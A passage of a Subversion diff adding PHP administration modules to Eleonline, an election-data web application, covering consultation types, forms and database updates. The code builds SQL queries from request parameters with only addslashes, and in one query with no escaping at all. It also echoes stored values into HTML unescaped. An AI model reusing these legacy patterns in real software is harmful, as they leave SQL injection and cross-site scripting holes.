+if (isset($param['tipocons'])) get_magic_quotes_gpc() ? $tipocons=$param['tipocons']:$tipocons=addslashes($param['tipocons']); else $tipocons=$tipo_cons;
+
+$id_comune=$_SESSION['id_comune'];
+
+//die("dig:$dig dim:$dim dia:$dia");
+
+include("modules/Elezioni/funzionidata.php");
+include("modules/Elezioni/ele.php");
+	
+// Offset - visualizza il numero di elementi per pagina
+
+      $offset=10;
+      if (!isset($min)) $min=0;
+
+/******************************************************/
+/*Funzione di visualizzazione globale                 */
+/*****************************************************/
+
+function all() {
+   global $genere, $bgcolor1, $bgcolor2,  $bgcolor6, $prefix, $dbi, $offset, $min, $id_cons_gen, $perms,$tipo_cons, $tipocons,$do, $dig, $dim, $dia, $dfg, $dfm, $dfa;
+$language=$_SESSION['lang'];
+if (($perms>64)) {
+/*	echo "<SCRIPT type=\"text/javascript\">\n\n<!--\n"
+	."//-->\n";
+	echo "function scegli_ref() {\n";
+	echo "if (document.consultazione.referendum.checked==true) {\n";
+	echo "document.consultazione.gruppi.checked=false \n";
+	echo "document.consultazione.votigruppo.checked=false \n";
+	echo "document.consultazione.votilista.checked=false \n";
+	echo "document.consultazione.voticandi.checked=false \n";
+	echo "document.consultazione.circo.checked=false \n";
+	echo "document.consultazione.liste.checked=false \n";
+	echo "document.consultazione.ballo.checked=false }\n";
+	echo "}\n";
+	echo "function scegli_cons() {\n";
+	echo "if (document.consultazione.gruppi.checked==true || document.consultazione.circo.checked==true || document.consultazione.liste.checked==true || document.consultazione.votilista.checked==true || document.consultazione.voticandi.checked==true) {\n";
+	echo "document.consultazione.referendum.checked=false \n";
+	echo "document.consultazione.ballo.checked=false }\n";
+	echo "if (document.consultazione.gruppi.checked==false) {\n";
+	echo "document.consultazione.votigruppo.checked=false }\n";
+	echo "}\n";
+	echo "function scegli_ballo() {\n";
+	echo "if (document.consultazione.ballo.checked==true) {\n";
+	echo "document.consultazione.votigruppo.checked=false \n";
+	echo "document.consultazione.votilista.checked=false \n";
+	echo "document.consultazione.voticandi.checked=false \n";
+	echo "document.consultazione.gruppi.checked=false \n";
+	echo "document.consultazione.circo.checked=false \n";
+	echo "document.consultazione.referendum.checked=false \n";
+	echo "document.consultazione.liste.checked=false }\n";
+	echo "}\n";
+	echo "</script>\n"; 
+*/
+	if ($do == "modify") {
+		$res = mysql_query("SELECT * FROM ".$prefix."_ele_consultazione where id_cons_gen='$id_cons_gen'", $dbi);
+		$pro= mysql_fetch_array($res, 3);
+$res_tipo = mysql_query("SELECT * FROM ".$prefix."_ele_tipo where tipo_cons='".$pro['tipo_cons']."' and lingua='$language'", $dbi);
+$tip=mysql_fetch_array($res_tipo, 3);
+
+		list($dia1,$dim1,$dig1) = explode("-",$pro['data_inizio']=="0000-00-00" ? "    -  -  ": $pro['data_inizio']) ;
+		list($dfa1,$dfm1,$dfg1) = explode("-",$pro['data_fine']=="0000-00-00" ? "    -  -  ": $pro['data_fine']) ;
+		echo "<form name=\"consultazione\" method=\"post\" action=\"admin.php\" >"
+		."<input type=\"hidden\" name=\"op\" value=\"consultazione\">"
+		."<input type=\"hidden\" name=\"do\" value=\"update\">"
+		."<input type=\"hidden\" name=\"id_cons_gen\" value=\"".$pro['id_cons_gen']."\">"
+		."<table  width=\"100%\">"._MODIFY." ".$pro['descrizione']." <br><br>";
+		switch ($genere) {
+			case "0" : $gencons=_GENCONS0;break;
+			case "1" : $gencons=_GENCONS1;break;
+			case "2" : $gencons=_GENCONS2;break;
+			case "3" : $gencons=_GENCONS3;break;
+			case "4" : $gencons=_GENCONS4;break;
+			case "5" : if($tip['voto_c'])
+					 $gencons=_GENCONS3;
+				   else
+					 $gencons=_GENCONS5;
+				   break;
+		default :$gencons="";
+		}
+		echo "<tr><td>"._TIPO."</td><td>$gencons</td></tr>";
+		echo "<tr bgcolor=\"$bgcolor2\"><td>"._DESCR. "</td><td><input  name=\"descr_cons2\" value=\"".$pro['descrizione']."\" size=\"15\"></td></tr>";
+		echo "<tr><td>"._DATAIN." :</td><td>";
+		echo "<select name=\"dig\" >";
+		echo "<option value=\"$dig1\" selected>$dig1</option>";giorno();
+		echo "<select name=\"dim\" >";
+		echo "<option value= \"$dim1\" selected>$dim1</option>"; mese();
+		echo "<select name= \"dia\" >";
+		echo "<option value=\"$dia1\" selected>$dia1</option>"; anno();
+		echo "</td></tr>";
+		echo "<tr><td>"._DATAFINE." :</td><td>";
+		echo "<select name=\"dfg\" >";
+		echo "<option value=\"$dfg1\" selected>$dfg1</option>";giorno();
+		echo "<select name= \"dfm\" >";
+		echo "<option value= \"$dfm1\" selected>$dfm1</option>"; mese();
+		echo "<select name= \"dfa\" >";
+		echo "<option value=\"$dfa1\" selected>$dfa1</option>"; anno();
+		echo "</td></tr><tr><td>"
+		."<input type=\"submit\" name=\"update\" value=\""._MODIFY."\">"
+		."</td></tr></table></form>";
+	} else {
+		echo "<form name=\"consultazione\" action=\"admin.php\">"
+		."<input type=\"hidden\" name=\"op\" value=\"consultazione\">"
+		."<input type=\"hidden\" name=\"do\" value=\"add\">"
+		."<input type=\"hidden\" name=\"id_cons_gen\" value=\"$id_cons_gen\">"
+		."<table whidth=\"100%\"><hr><h6>"._ADD." "._CONSULTA."<br><br>";
+		echo _DEFCONS.":<br>";
+
+
+/*		echo "<input type=\"checkbox\" name=\"referendum\" value=\"true\" onClick=\"scegli_ref()\"> "._REFERENDUM." <br>"
+		."<input type=\"checkbox\" name=\"gruppi\" value=\"true\" onClick=\"scegli_cons()\"> "._CON_GRUPPI."<br> "
+		."&nbsp;&nbsp;<input type=\"checkbox\" name=\"votigruppo\" value=\"true\" onClick=\"scegli_cons()\"> "._NO_VOTO_GRUPPO."<br> "
+		."<br><input type=\"checkbox\" name=\"liste\" value=\"true\" onClick=\"scegli_cons()\"> "._LISTE_UNI."<br>"
+		."&nbsp;&nbsp;<input type=\"checkbox\" name=\"votilista\" value=\"true\" onClick=\"scegli_cons()\"> "._NO_VOTO_LISTA."<br> "
+		."&nbsp;&nbsp;<input type=\"checkbox\" name=\"voticandi\" value=\"true\" onClick=\"scegli_cons()\"> "._NO_VOTO_CANDI."<br> "
+		."<input type=\"checkbox\" name=\"circo\" value=\"true\" onClick=\"scegli_cons()\"> "._ELE_CIRCO."<br>"
+		."<input type=\"checkbox\" name=\"ballo\" value=\"true\" onClick=\"scegli_ballo()\"> "._BALLO."<br></h6>";
+*/
+		$res=mysql_query("SELECT * FROM ".$prefix."_ele_tipo where lingua='$language'", $dbi);
+		echo "<tr><td>"._TIPO." :</td><td>";
+		echo "<select name=\"tipocons\" >";
+		while(list($idtipo,$destipo)= mysql_fetch_row($res)){
+			if ($idtipo == $tipo_cons) {
+				$sel = "selected";
+				} else {
+				$sel = "";
+				}
+		
+			echo "<option value=\"$idtipo\" $sel>$destipo";
+		}
+		echo "</select>";
+		echo "<tr><td><b>"._DESCR. "</b></td><td><input type=\"text\" name=\"descr_cons2\" maxlength=\"100\"></td></tr>"
+		."<tr><td><b>"._DATAIN. "</b></td><td>";
+		echo "<select name= \"dig\" ><option value=\"$dig\" selected>$dig</option>"; giorno();
+		echo "<select name= \"dim\" ><option value=\"$dim\" selected>$dim</option>"; mese();
+		echo "<select name= \"dia\" ><option value=\"$dia\" selected>$dia</option>"; anno() ;
+		echo "</td></tr>"
+	
+		."<tr><td><b>"._DATAFINE. "</b></td><td>";
+		echo "<select name= \"dfg\" ><option value=\"$dfg\" selected>$dfg</option>"; giorno();
+		echo "<select name= \"dfm\" ><option value=\"$dfm\" selected>$dfm</option>"; mese();
+		echo "<select name= \"dfa\" ><option value=\"$dfa\" selected>$dfa</option>"; anno() ;
+		echo "</td></tr>"
+		."</table>"
+		."<input type=\"submit\" name=\"add\" value=\""._ADD."\">"
+		."</form>";
+	}
+	echo "<center><font class=\"title\"><b>"._MODIFY." "._CONSULTA."</b></font><br><br><table border=\"0\" width=\"100%\">"
+	."<tr><td bgcolor=\"$bgcolor1\" align=\"center\">&nbsp;<b>"._DESCR."</b>&nbsp;</td>"
+	."<td bgcolor=\"$bgcolor1\" align=\"center\">&nbsp;<b>"._DATAIN."</b>&nbsp;</td>"
+	."<td bgcolor=\"$bgcolor1\" align=\"center\"><b>"._DATAFINE."</b></td>"
+	."<td bgcolor=\"$bgcolor1\" align=\"center\"><b>"._FUNZIONI."</b></td></tr>";
+	$res = mysql_query("SELECT * FROM ".$prefix."_ele_consultazione  " , $dbi);
+	$max = mysql_num_rows($res);
+	$result = mysql_query("select * from ".$prefix."_ele_consultazione   ORDER BY data_fine desc  LIMIT $min,$offset", $dbi);
+	while(list($id, $descr_cons, $data_inizio, $data_fine,$tipo) = mysql_fetch_row($result)) {
+		$data_inizio=form_data($data_inizio);$data_fine=form_data($data_fine);
+		$bgcolor1=($bgcolor1==$_SESSION['bgcolor1'])?$_SESSION['bgcolor2']:$_SESSION['bgcolor1'];
+		echo "<tr ><td bgcolor=\"$bgcolor1\" align=\"left\" ><a href=\"admin.php?op=ele&amp;id_cons_gen=$id\"><b>$descr_cons</b></a>"
+		."</td><td align=\"center\" >$data_inizio</td>"
+		."<td align=\"center\">$data_fine"
+		."</td><td align=\"center\" nowrap bgcolor=\"$bgcolor1\">[<a
+		href=\"admin.php?op=consultazione&amp;do=modify&amp;id_cons_gen=$id\"><img src=\"modules/Elezioni/images/edit.gif\"
+		border=\"0\" align=\"middle\"> "._EDIT."</a>]"
+		."</td></tr>";
+	}
+	echo "</table></center>";
+#'Pagina precedente' e 'Pagina Successiva'
+	echo"<table align=\"center\" width=\"100%\" bgcolor=\"$bgcolor1\"><tr>";
+	$prev=$min-$offset;
+	if ($prev>=0) {
+		echo "<td colspan=\"5\" align=\"center\" bgcolor=\"$bgcolor2\"><a href=\"admin.php?op=consultazione&amp;id_cons_gen=$id_cons_gen&amp;min=$prev\">";
+		echo "<b>$offset "._PREV_MATCH."</b></a></td>";
+	}
+	$next=$min+$offset;
+	if ($next>=($offset-1)) {
+		if($next>=$max) $next = $max;
+		else {
+		echo "<td colspan=\"5\" align=\"center\" bgcolor=\"$bgcolor2\"><a href=\"admin.php?op=consultazione&amp;id_cons_gen=$id_cons_gen&amp;min=$next\">";
+		echo "<b>$offset "._NEXT_MATCH."</b></a></td>";
+		}
+	}
+	echo "</tr></table><br>";
+}
+}
+
+
+
+function consultazione($ok, $id_cons_gen,$tipocons, $data_in, $data_fine,$do, $dig, $dim, $dia, $dfg, $dfm, $dfa, $duplica,$referendum,$liste,$gruppi,$ballo,$votigruppo) {
+ global $bgcolor1, $bgcolor2, $prefix, $dbi, $descr_cons2,$tipo_cons,$perms,$do,$votilista,$voticandi,$circo;
+
+
+if ($perms>=128) {
+	// LA CANCELLAZIONE VA EVITATA, se interessa va garantita l'integrità referenziale 
+/*		if ($do == "delete") {
+			if ($ok !="1") {
+				echo "<center><br><br>"._DOMCANCELLA." $descr ?<br>";
+				echo "[ <a href=\"admin.php?op=consultazione\">"._NO."</a> ] - [<a href=\"admin.php?op=consultazione&amp;do=delete&amp;id_cons=$id_cons&amp;ok=1\">"._YES."</a> ]";
+			}else{
+				$result = sql_query("delete from ".$prefix."_ele_consultazione where id_cons='$id_cons'", $dbi);
+				if (!$result) return;
+				Header("Location: admin.php?op=consultazione");
+			}
+		}*/ 
+		if ($do == "add") {
+			if ($descr_cons2) {
+				if($referendum=='true') {
+					$genere=0;
+				} elseif ($ballo=='true') {
+					$genere=1;
+				}else{
+	  	 			$genere=2;
+	  	  			if($liste!='true') {$genere+=2;}
+		  			if($gruppi=='true') {$genere+=1;}
+	    			}
+				$votigruppo=$votigruppo=='true'? 1:0;
+				$votilista=$votilista=='true'? 1:0;
+				$voticandi=$voticandi=='true'? 1:0;
+				$circo=$circo=='true'? 1:0;
+				$data_inizio="$dia-$dim-$dig";
+				$data_fine="$dfa-$dfm-$dfg";
+				$id_consulta=$id_cons_gen;
+				$result = mysql_query("insert into ".$prefix."_ele_consultazione (descrizione,data_inizio,data_fine,tipo_cons) values ('$descr_cons2','$data_inizio','$data_fine','$tipocons')", $dbi) || die("Errore di inserimento: ".mysql_error());
+/*				$y=$result;
+				$res=mysql_query("select id_cons_gen from ".$prefix."_ele_consultazione where descrizione='$descr_cons2'
+				and data_inizio='$data_inizio' and data_fine='$data_fine' and tipo_cons='$tipocons'", $dbi);
+				list($idc)=mysql_fetch_row($res);
+				mkdir("images/consultazioni/$idc",0750);
+				copy("images/consultazioni/nulla.jpg","images/consultazioni/$idc/nulla.jpg");*/
+			} else {
+		        OpenTable();
+			echo "<center>"._GESTIONE." "._CONSULTAZIONE."";
+			echo "<br><br><a href=\"admin.php?op=consultazione&amp;id_cons_gen=$id_cons_gen\">"._IMMCONS."</a></center>";
+			CloseTable();
+			}
+		}else if ($do == "update") {
+			$data_inizio="$dia-$dim-$dig";
+			$data_fine="$dfa-$dfm-$dfg";
+			$result = mysql_query("update  ".$prefix."_ele_consultazione set  descrizione='$descr_cons2',data_inizio='$data_inizio',
+			data_fine='$data_fine' WHERE id_cons_gen='$id_cons_gen'", $dbi);
+			if (!$result) return;
+			Header("Location: admin.php?op=consultazione&id_cons_gen=$id_cons_gen");
+   		}
+	}
+}
+
+function help_cons()
+{
+//da mettere
+}
+if ($op=="consultazione")
+ if (isset($param['do']))
+    consultazione($ok, $id_cons_gen,$tipocons, $data_in, $data_fine,$do, $dig, $dim, $dia, $dfg, $dfm, $dfa, $duplica,$referendum,$liste,$gruppi,$ballo,$votigruppo);
+    else consultazione('', $id_cons_gen,'','','','','','','','','','','','','','','','','');
+ele();
+all();
+echo"</td></tr></table>";
+include("footer.php");
+
+
+
+?>
+
Index: /trunk/elezioni/trunk/admin/modules/Elezioni/ele_consultazionitipi.php
===================================================================
--- /trunk/elezioni/trunk/admin/modules/Elezioni/ele_consultazionitipi.php	(revision 44)
+++ /trunk/elezioni/trunk/admin/modules/Elezioni/ele_consultazionitipi.php	(revision 44)
@@ -0,0 +1,240 @@
+<?php
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Roberto Gigli & Luciano Apolito                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+/* Modulo Consultazioni                                                 */
+/* Amministrazione                                                      */
+/************************************************************************/
+if (!defined('ADMIN_FILE')) {
+    die ("You can't access this file directly...");
+}
+
+$aid=$_SESSION['aid'];
+$dbi=$_SESSION['dbi'];
+$prefix=$_SESSION['prefix'];
+$param=strtolower($_SERVER['REQUEST_METHOD']) == 'get' ? $_GET : $_POST;
+$id_cons_gen=$param['id_cons_gen'];
+$perms=ChiSei(0);
+//if ($perms<128 or !$id_cons_gen) die("Non hai i permessi per inserire dati, o non hai scelto la consultazione!");
+if ($perms!=256) die("Non hai i permessi per inserire dati, o non hai scelto la consultazione!");
+$res = mysql_query("SELECT tipo_cons FROM ".$prefix."_ele_consultazione where id_cons_gen=$id_cons_gen " , $dbi);
+list($tipo_cons) = mysql_fetch_row($res);
+
+if (isset($param['min'])) $min=intval($param['min']); else $min=0;
+if (isset($param['ok'])) $ok=intval($param['ok']); else $ok=0;
+if (isset($param['data_in'])) get_magic_quotes_gpc() ? $data_in=$param['data_in']:$data_in=addslashes($param['data_in']); else $data_in='';
+if (isset($param['data_fine'])) get_magic_quotes_gpc() ? $data_fine=$param['data_fine']:$data_fine=addslashes($param['data_fine']); else $data_fine='';
+if (isset($param['do'])) get_magic_quotes_gpc() ? $do=$param['do']:$do=addslashes($param['do']); else $do='';
+if (isset($param['referendum'])) get_magic_quotes_gpc() ? $referendum=$param['referendum']:$referendum=addslashes($param['referendum']); else $referendum='';
+if (isset($param['liste'])) get_magic_quotes_gpc() ? $liste=$param['liste']:$liste=addslashes($param['liste']); else $liste='';
+if (isset($param['gruppi'])) get_magic_quotes_gpc() ? $gruppi=$param['gruppi']:$gruppi=addslashes($param['gruppi']); else $gruppi='';
+if (isset($param['votigruppo'])) get_magic_quotes_gpc() ? $votigruppo=$param['votigruppo']:$votigruppo=addslashes($param['votigruppo']); else $votigruppo='';
+if (isset($param['votilista'])) get_magic_quotes_gpc() ? $votilista=$param['votilista']:$votilista=addslashes($param['votilista']); else $votilista='';
+if (isset($param['voticandi'])) get_magic_quotes_gpc() ? $voticandi=$param['voticandi']:$voticandi=addslashes($param['voticandi']); else $voticandi='';
+if (isset($param['ballo'])) get_magic_quotes_gpc() ? $ballo=$param['ballo']:$ballo=addslashes($param['ballo']); else $ballo='';
+if (isset($param['circo'])) get_magic_quotes_gpc() ? $circo=$param['circo']:$circo=addslashes($param['circo']); else $circo='';
+if (isset($param['descr_cons2'])) get_magic_quotes_gpc() ? $descr_cons2=$param['descr_cons2']:$descr_cons2=addslashes($param['descr_cons2']); else $descr_cons2='';
+if (isset($param['tipocons'])) get_magic_quotes_gpc() ? $tipocons=$param['tipocons']:$tipocons=addslashes($param['tipocons']); else $tipocons=$tipo_cons;
+
+$id_comune=$_SESSION['id_comune'];
+
+
+include("modules/Elezioni/funzionidata.php");
+include("modules/Elezioni/ele.php");
+
+	
+// Offset - visualizza il numero di elementi per pagina
+
+      $offset=10;
+      if (!isset($min)) $min=0;
+
+/******************************************************/
+/*Funzione di visualizzazione globale                 */
+/*****************************************************/
+
+function all() {
+   global $genere, $bgcolor1, $bgcolor2,  $bgcolor6, $prefix, $dbi, $offset, $min, $id_cons_gen, $perms,$tipo_cons, $tipocons,$do;
+$language=$_SESSION['lang'];
+if (($perms>64)) {
+	echo "<SCRIPT type=\"text/javascript\">\n\n<!--\n"
+	."//-->\n";
+	echo "function scegli_ref() {\n";
+	echo "if (document.consultazione.referendum.checked==true) {\n";
+	echo "document.consultazione.gruppi.checked=false \n";
+	echo "document.consultazione.votigruppo.checked=false \n";
+	echo "document.consultazione.votilista.checked=false \n";
+	echo "document.consultazione.voticandi.checked=false \n";
+	echo "document.consultazione.circo.checked=false \n";
+	echo "document.consultazione.liste.checked=false \n";
+	echo "document.consultazione.ballo.checked=false }\n";
+	echo "}\n";
+	echo "function scegli_cons() {\n";
+	echo "if (document.consultazione.gruppi.checked==true || document.consultazione.circo.checked==true || document.consultazione.liste.checked==true || document.consultazione.votilista.checked==true || document.consultazione.voticandi.checked==true) {\n";
+	echo "document.consultazione.referendum.checked=false \n";
+	echo "document.consultazione.ballo.checked=false }\n";
+	echo "if (document.consultazione.gruppi.checked==false) {\n";
+	echo "document.consultazione.votigruppo.checked=false }\n";
+	echo "}\n";
+	echo "function scegli_ballo() {\n";
+	echo "if (document.consultazione.ballo.checked==true) {\n";
+	echo "document.consultazione.votigruppo.checked=false \n";
+	echo "document.consultazione.votilista.checked=false \n";
+	echo "document.consultazione.voticandi.checked=false \n";
+	echo "document.consultazione.gruppi.checked=false \n";
+	echo "document.consultazione.circo.checked=false \n";
+	echo "document.consultazione.referendum.checked=false \n";
+	echo "document.consultazione.liste.checked=false }\n";
+	echo "}\n";
+	echo "</script>\n";
+	if ($do == "modify") {
+		$rest = mysql_query("SELECT * FROM ".$prefix."_ele_tipo where tipo_cons='$tipocons' and lingua='$language'", $dbi);
+		$pro_t=mysql_fetch_array($rest, 3);
+
+		echo "<form name=\"consultazione\" method=\"post\" action=\"admin.php\" >"
+		."<input type=\"hidden\" name=\"op\" value=\"constipi\">"
+		."<input type=\"hidden\" name=\"do\" value=\"update\">"
+		."<input type=\"hidden\" name=\"tipocons\" value=\"$tipocons\">"
+		."<input type=\"hidden\" name=\"id_cons_gen\" value=\"$id_cons_gen\">"
+		."<table  width=\"100%\">"._MODIFY." ".$pro_t['descrizione']." <br><br>";
+		switch ($pro_t['genere']) {
+			case "0" : $gencons=_GENCONS0;break;
+			case "1" : $gencons=_GENCONS1;break;
+			case "2" : $gencons=_GENCONS2;break;
+			case "3" : $gencons=_GENCONS3;break;
+			case "4" : $gencons=_GENCONS4;break;
+			case "5" : {
+				if (!$pro_t['voto_g'] and !$pro_t['voto_c']) $gencons=_GENCONS5;
+				else $gencons=_GENCONS6;	
+				break;
+				}
+				
+		default :$gencons="";
+		}
+		echo "<tr><td>"._TIPO."</td><td>$gencons</td></tr>";
+		echo "<tr bgcolor=\"$bgcolor2\"><td>"._DESCR. "</td><td><input  name=\"descr_cons2\" value=\"".$pro_t['descrizione']."\" size=\"15\"></td></tr>";
+
+		echo "<tr><td>"
+		."<input type=\"submit\" name=\"update\" value=\""._MODIFY."\">"
+		."</form></td></tr></table>";
+	} else {
+		echo "<form name=\"consultazione\" action=\"admin.php\">"
+		."<input type=\"hidden\" name=\"op\" value=\"constipi\">"
+		."<input type=\"hidden\" name=\"tipocons\" value=\"$tipocons\">"
+		."<input type=\"hidden\" name=\"do\" value=\"add\">"
+		."<input type=\"hidden\" name=\"id_cons_gen\" value=\"$id_cons_gen\">"
+		."<table whidth=\"100%\"><hr><h6>"._ADD." "._TIPO."<br><br>";
+		echo _DEFCONS.":<br>";
+		echo "<input type=\"checkbox\" name=\"referendum\" value=\"true\" onClick=\"scegli_ref()\"> "._REFERENDUM." <br>"
+		."<input type=\"checkbox\" name=\"gruppi\" value=\"true\" onClick=\"scegli_cons()\"> "._CON_GRUPPI."<br> "
+		."&nbsp;&nbsp;<input type=\"checkbox\" name=\"votigruppo\" value=\"true\" onClick=\"scegli_cons()\"> "._NO_VOTO_GRUPPO."<br> "
+		."<br><input type=\"checkbox\" name=\"liste\" value=\"true\" onClick=\"scegli_cons()\"> "._LISTE_UNI."<br>"
+		."&nbsp;&nbsp;<input type=\"checkbox\" name=\"votilista\" value=\"true\" onClick=\"scegli_cons()\"> "._NO_VOTO_LISTA."<br> "
+		."&nbsp;&nbsp;<input type=\"checkbox\" name=\"voticandi\" value=\"true\" onClick=\"scegli_cons()\"> "._NO_VOTO_CANDI."<br> "
+		."<input type=\"checkbox\" name=\"circo\" value=\"true\" onClick=\"scegli_cons()\"> "._ELE_CIRCO."<br>"
+		."<input type=\"checkbox\" name=\"ballo\" value=\"true\" onClick=\"scegli_ballo()\"> "._BALLO."<br></h6>";
+
+#		echo "<tr><td>";
+
+		echo "<tr><td><b>"._DESCR. "</b></td><td><input type=\"text\" name=\"descr_cons2\" maxlength=\"100\"></td></tr>";
+		echo "</td></tr>"
+		."</table>"
+		."<input type=\"submit\" name=\"add\" value=\""._ADD."\">"
+		."</form>";
+	}
+	echo "<center><font class=\"title\"><b>"._MODIFY." "._TIPO."</b></font><br><br><table border=\"0\" width=\"100%\">"
+	."<tr><td bgcolor=\"$bgcolor1\" align=\"center\">&nbsp;<b>"._NUM."</b>&nbsp;</td><td bgcolor=\"$bgcolor1\" align=\"center\">&nbsp;<b>"._DESCR."</b>&nbsp;</td>"
+	."<td bgcolor=\"$bgcolor1\" align=\"center\"><b>"._FUNZIONI."</b></td></tr>";
+
+		$result = mysql_query("SELECT tipo_cons,descrizione FROM ".$prefix."_ele_tipo where lingua='$language' LIMIT $min,$offset", $dbi);
+		
+
+
+
+	while(list($tipocons, $descr_cons) = mysql_fetch_row($result)) {
+		
+		$bgcolor1=($bgcolor1==$_SESSION['bgcolor1'])?$_SESSION['bgcolor2']:$_SESSION['bgcolor1'];
+		echo "<tr ><td align=\"center\" >$tipocons</td><td bgcolor=\"$bgcolor1\" align=\"left\" ><b>$descr_cons</b></a>"
+		."</td><td align=\"center\" nowrap bgcolor=\"$bgcolor1\">[<a
+		href=\"admin.php?op=constipi&amp;do=modify&amp;id_cons_gen=$id_cons_gen&amp;tipocons=$tipocons\"><img src=\"modules/Elezioni/images/edit.gif\"
+		border=\"0\" align=\"middle\"> "._EDIT."</a>]"
+		."</td></tr>";
+	}
+	echo "</table></center>";
+#'Pagina precedente' e 'Pagina Successiva'
+	echo"<table align=\"center\" width=\"100%\" bgcolor=\"$bgcolor1\"><tr>";
+	$prev=$min-$offset;
+	if ($prev>=0) {
+		echo "<td colspan=\"5\" align=\"center\" bgcolor=\"$bgcolor2\"><a href=\"admin.php?op=constipi&amp;id_cons_gen=$id_cons_gen&amp;min=$prev\">";
+		echo "<b>$offset "._PREV_MATCH."</b></a></td>";
+	}
+	$next=$min+$offset;
+	$res = mysql_query("SELECT * FROM ".$prefix."_ele_tipo where lingua='$language' " , $dbi);
+	$max = mysql_num_rows($res);
+	if ($next>=($offset-1)) {
+		if($next>=$max) $next = $max;
+		else {
+		echo "<td colspan=\"5\" align=\"center\" bgcolor=\"$bgcolor2\"><a href=\"admin.php?op=constipi&amp;id_cons_gen=$id_cons_gen&amp;min=$next\">";
+		echo "<b>$offset "._NEXT_MATCH."</b></a></td>";
+		}
+	}
+	echo "</tr></table><br>";
+}
+}
+
+
+
+function tipo() {
+ global $id_cons_gen,$bgcolor1, $bgcolor2, $prefix, $dbi, $descr_cons2,$tipocons,$perms,$do,$votigruppo,$votilista,$voticandi,$circo, $referendum,$ballo,$liste,$gruppi;
+$language=$_SESSION['lang'];
+
+if ($perms==256) {
+		if ($do == "add") {
+			if ($tipocons) {
+				if($referendum=='true') {
+					$genere=0;
+				} elseif ($ballo=='true') {
+					$genere=1;
+				}else{
+	  	 			$genere=2;
+	  	  			if($liste!='true') {$genere+=2;}
+		  			if($gruppi=='true') {$genere+=1;}
+	    			}
+				$votigruppo=$votigruppo=='true'? 1:0;
+				$votilista=$votilista=='true'? 1:0;
+				$voticandi=$voticandi=='true'? 1:0;
+				$circo=$circo=='true'? 1:0;
+				$result = mysql_query("select max(tipo_cons) from ".$prefix."_ele_tipo where lingua='$language'", $dbi);
+				list($max)=mysql_fetch_row($result);
+				$max++;
+
+				$result = mysql_query("insert into ".$prefix."_ele_tipo (tipo_cons,descrizione,lingua,genere,voto_g,voto_l,voto_c,circo) values ('$max','$descr_cons2','$language','$genere','$votigruppo','$votilista','$voticandi','$circo')", $dbi) || die("Errore di inserimento: ".mysql_error());
+
+
+			}
+		}else if ($do == "update") {
+			$result = mysql_query("update  ".$prefix."_ele_tipo set descrizione='$descr_cons2' WHERE tipo_cons='$tipocons' and lingua='$language'", $dbi);
+			if (!$result) return;
+			Header("Location: admin.php?op=constipi&id_cons_gen=$id_cons_gen");
+   		}
+	}
+}
+
+function help_cons()
+{
+//da mettere
+}
+
+ if (isset($do))
+    tipo();
+ele();
+all();
+echo"</td></tr></table>";
+include("footer.php");
+
+
+
+?>
+
Index: /trunk/elezioni/trunk/admin/modules/Elezioni/ele_gruppo.php
===================================================================
--- /trunk/elezioni/trunk/admin/modules/Elezioni/ele_gruppo.php	(revision 44)
+++ /trunk/elezioni/trunk/admin/modules/Elezioni/ele_gruppo.php	(revision 44)
@@ -0,0 +1,227 @@
+<?php
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Roberto Gigli & Luciano Apolito                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+/* Modulo gruppo                                                        */
+/* Amministrazione                                                      */
+/************************************************************************/
+if (!defined('ADMIN_FILE')) {
+    die ("You can't access this file directly...");
+}
+
+// Offset - visualizza il numero di elementi per pagina
+$offset=5;
+
+$aid=$_SESSION['aid'];
+$dbi=$_SESSION['dbi'];
+$prefix=$_SESSION['prefix'];
+$currentlang=$_SESSION['lang'];
+$param=strtolower($_SERVER['REQUEST_METHOD']) == 'get' ? $_GET : $_POST;
+$id_cons_gen=intval($param['id_cons_gen']);	
+$perms=ChiSei($id_cons_gen);
+if ($perms<32 or !$id_cons_gen) die("Non hai i permessi per inserire dati, o non hai scelto la consultazione!");
+$id_comune=$_SESSION['id_comune'];
+$res = mysql_query("SELECT t1.tipo_cons,t2.id_cons FROM ".$prefix."_ele_consultazione as t1, ".$prefix."_ele_cons_comune as t2 where t1.id_cons_gen=t2.id_cons_gen and t2.id_cons_gen='$id_cons_gen' and t2.id_comune='$id_comune' " , $dbi);
+list($tipo_cons,$id_cons) = mysql_fetch_row($res);
+
+include("modules/Elezioni/funzionidata.php");
+include("modules/Elezioni/ele.php");
+
+if (isset($param['do'])) get_magic_quotes_gpc() ? $do=$param['do']:$do=addslashes($param['do']); else $do='';
+if (isset($param['min'])) $min=intval($param['min']); else $min=0;
+if (isset($param['id_sede'])) $id_sede=intval($param['id_sede']); else $id_sede='';
+if (isset($param['ok'])) get_magic_quotes_gpc() ? $ok=$param['ok']:$ok=addslashes($param['ok']); else $ok='';
+if (isset($param['id_circ'])) {$id_circ=intval($param['id_circ']); $_SESSION['id_circ']=$id_circ;} else
+if (isset($_SESSION['id_circ'])) $id_circ=intval($_SESSION['id_circ']); else $id_circ='';
+if (isset($param['id_gruppo'])) $id_gruppo=intval($param['id_gruppo']); else $id_gruppo='';
+if (isset($param['num_gruppo'])) $num_gruppo=intval($param['num_gruppo']); else $num_gruppo='';
+if (isset($param['descr_gruppo'])) get_magic_quotes_gpc() ? $descr_gruppo=$param['descr_gruppo']:$descr_gruppo=addslashes($param['descr_gruppo']); else $descr_gruppo='';
+if (isset($param['simbolo'])) get_magic_quotes_gpc() ? $simbolo=$param['simbolo']:$simbolo=addslashes($param['simbolo']); else $simbolo='';
+/******************************************************/
+/*Funzione di visualizzazione globale                 */
+/*****************************************************/
+	function all() {
+   		global $tipo_cons,$param,$currentlang, $bgcolor1, $bgcolor2, $prefix, $dbi, $offset, $min, $id_cons,$id_cons_gen,$id_comune,$id_circ,$do,$id_gruppo;
+	$res = mysql_query("SELECT circo FROM ".$prefix."_ele_tipo where tipo_cons='$tipo_cons' and lingua='$currentlang'", $dbi);
+	list($cons_circ)= mysql_fetch_row($res);
+	if($cons_circ)
+	{
+		echo "<form name=\"circo\" action=\"admin.php\" method=\"post\">";
+		echo "<br><table border=\"1\" width=\"50%\" ><tr bgcolor=\"$bgcolor1\"><td>"._SCEGLI_CIRCO.": </td>";
